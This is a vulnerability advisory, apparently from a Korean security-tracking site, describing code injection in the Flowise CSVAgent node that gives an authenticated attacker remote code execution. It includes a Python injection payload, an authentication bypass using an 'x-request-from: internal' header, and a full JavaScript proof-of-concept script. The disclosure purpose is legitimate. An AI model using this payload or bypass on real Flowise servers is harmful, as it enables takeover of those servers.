Flowise: Code Injection in CSVAgent leads to Authenticated RCE
RCE
위협 신호 · CVSS · EPSS · KEV
정기 패치· 높은 악용 신호 없음
CVSS
8.8critical
이론적 심각도 점수
EPSS
1.5%상위 29.4%
30일 내 악용 확률 예측
KEV
미등재실측 악용 기록 없음
권장 대응 기한14일 이내CISA SSVC 기준
2주 이내 패치 — 우선 조치 대상
완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출
CVSS 벡터 · 메트릭
악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.8CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H상세 설명
Summary
The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.
Details
The code in question that introduces the issue is in CSVAgent.ts.
customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code).
An authenticated attacker can issue the following chain of requests:
- Create a new chat flow by sending a
POSTrequest to/api/v1/chatflows. This will return thechatflowIdin the response. - Send a
POSTrequest to/api/v1/prediction/[CHATFLOWID]to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work. - Optionally: send a
DELETErequest to/api/v1/chatflowsto cleanup and delete the chat flow.
Since /chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE_USERNAME and FLOWISE_PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.
PoC
Here's the PoC code:
text
1const PORT = 3000; 2const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`; 3const PREDICTION_URL = '/api/v1/prediction'; 4const CHATFLOWS_URL = '/api/v1/chatflows'; 5 6const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\":\"code\",\"optional\":true,\"additionalParams\":true,\"id\":\"csvAgent_0-input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"description\":\"Agent used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"selected\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":{\"loadMethods\":{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"Wrapper around OpenAI large language models\",\"baseClasses\":[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs\":{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"frequencyPenalty\":\"\",\"presencePenalty\":\"\",\"batchSize\":\"\",\"timeout\":\"\",\"basepath\":\"\",\"baseOptions\":\"\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\":\"openAI_0-input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"default\":\"gpt-3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"default\":0.7,\"optional\":true,\"id\":\"openAI_0-input-temperature-number\"},{\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-maxTokens-number\"},{\"label\":\"Top Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-topP-number\"},{\"label\":\"Best Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-bestOf-number\"},{\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-frequencyPenalty-number\"},{\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-presencePenalty-number\"},{\"label\":\"Batch Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-batchSize-number\"},{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-timeout-number\"},{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-basepath-string\"},{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"description\":\"Wrapper around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"selected\":false,\"positionAbsolute\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\"csvAgent_0-input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\"}],\"viewport\":{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}"); 7const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"}; 8 9// Create chatflow.10let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {11 method: "POST",12 headers: {13 "Content-Type": "application/json",14 "Authorization": "Bearer <your-api-key>"15 //Alternative: "x-request-from": "internal"16 },17 body: JSON.stringify(payload)18});19 20let resJson = await res.json();21let chatflowId = resJson?.id;22 23// Trigger vuln.24await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {25 method: "POST",26 headers: {27 "Content-Type": "application/json"28 },29 body: JSON.stringify({"question": "whoami?"})30});31 32// Cleanup.33await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {34 method: "DELETE",35 headers: {36 "Content-Type": "application/json",37 "Authorization": "Bearer <your-api-key>"38 //Alternative: "x-request-from": "internal"39 }40});Impact
This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.